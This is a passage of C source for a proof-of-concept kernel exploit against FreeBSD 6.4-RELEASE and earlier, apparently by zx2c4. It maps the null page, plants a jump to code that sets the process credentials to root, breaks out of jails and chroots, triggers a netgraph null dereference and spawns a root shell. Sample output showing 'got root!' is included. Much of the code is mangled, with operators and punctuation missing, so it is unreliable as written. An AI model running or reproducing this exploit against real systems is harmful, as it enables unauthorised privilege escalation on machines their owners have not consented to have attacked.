* reliable. This solution here is a much more standard - get 
 * the current thread, change its permissions, and execl to 
 * shell. Additionally, it breaks out of chroots and freebsd 
 * jails by reparenting to pid 1 and copying its fds. 
 * 
 * This reliably works on kernels on or below 6.4-RELEASE: 
 * 
 * $ gcc a.c 
 * $ ./a.out 
 * ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~ 
 * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~ 
 * ~~~~~ greetz to don bailey, edemveiss ~~~~~ 
 * 
 * [+] mmapping null page 
 * [+] adding jmp to pwnage in null page 
 * [+] opening netgraph socket 
 * [+] triggering null dereference 
 * [+] elevating permissions 
 * [+] got root! 
 * # 
 * 
 * It's an oldie, but simple enough that someone needed 
 * to write another PoC exploit at some point. 
 * 
 * cheers, 
 * zx2c4, 27-2-2011 
 * 
 */ 
  
#define _KERNEL 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/param.h> 
#include <sys/proc.h> 
#include <sys/ucred.h> 
#include <sys/mman.h> 
#include <sys/socket.h> 
#include <sys/stat.h> 
#include <sys/filedesc.h> 
#include <sys/queue.h> 
#include <netgraph/ng_socket.h> 
#include <stdio.h> 
#include <fcntl.h> 
#include <unistd.h> 
  
#define PAGES 1 
  
  
volatile int got_root 0
int root(void

    
struct thread *thread
    
asm
        
"movl %%fs:0, %0" 
        
"=r"(thread
    ); 
    
thread->td_critnest 0
    
thread->td_proc->p_ucred->cr_uid 0
    
thread->td_proc->p_ucred->cr_prison NULL
  
    
struct proc *parent thread->td_proc
    while (
parent->p_pptr && parent->p_pid != 1
        
parent parent->p_pptr
    
thread->td_proc->p_fd->fd_rdir parent->p_fd->fd_rdir
    
thread->td_proc->p_fd->fd_jdir parent->p_fd->fd_jdir
    
thread->td_proc->p_fd->fd_cdir parent->p_fd->fd_cdir
    
thread->td_proc->p_pptr parent
  
    
got_root 1
    return 
0

  
int main(int argcchar *argv[]) 

    
printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n"); 
    
printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n"); 
    
printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n"); 
  
    
printf("[+] mmapping null page\n"); 
    if (
mmap(NULLPAGES PAGE_SIZEPROT_READ PROT_WRITE PROT_EXECMAP_ANON MAP_FIXED, -10) < 0) {
        
perror("[-] mmap failed"); 
        return -
1
    } 

  
    
printf("[+] adding jmp to pwnage in null page\n"); 
    *(
char*)0x0 0x90
    *(
char*)0x1 0xe9
    *(
unsigned long*)0x2 = (unsigned long)&root
  
    
printf("[+] opening netgraph socket\n"); 
    
int s socket(PF_NETGRAPHSOCK_DGRAMNG_DATA); 
    if (
0) { 
        
perror("[-] failed to open netgraph socket"); 
        return -
1
    } 
  
    
printf("[+] triggering null dereference\n"); 
    
shutdown(sSHUT_RDWR); 
  
    if (!
got_root) { 
        
printf("[-] failed to trigger pwnage\n"); 
        return -
1
    } 
  
    
printf("[+] elevating permissions\n"); 
    
setuid(0);  
    
setgid(0); 
    if (
getuid() != 0) { 
        
printf("[-] failed to get root\n"); 
        return -
1
    } 
  
    
printf("[+] got root!\n"); 
    
execl("/bin/sh""sh"NULL); 
  
    return 
0
}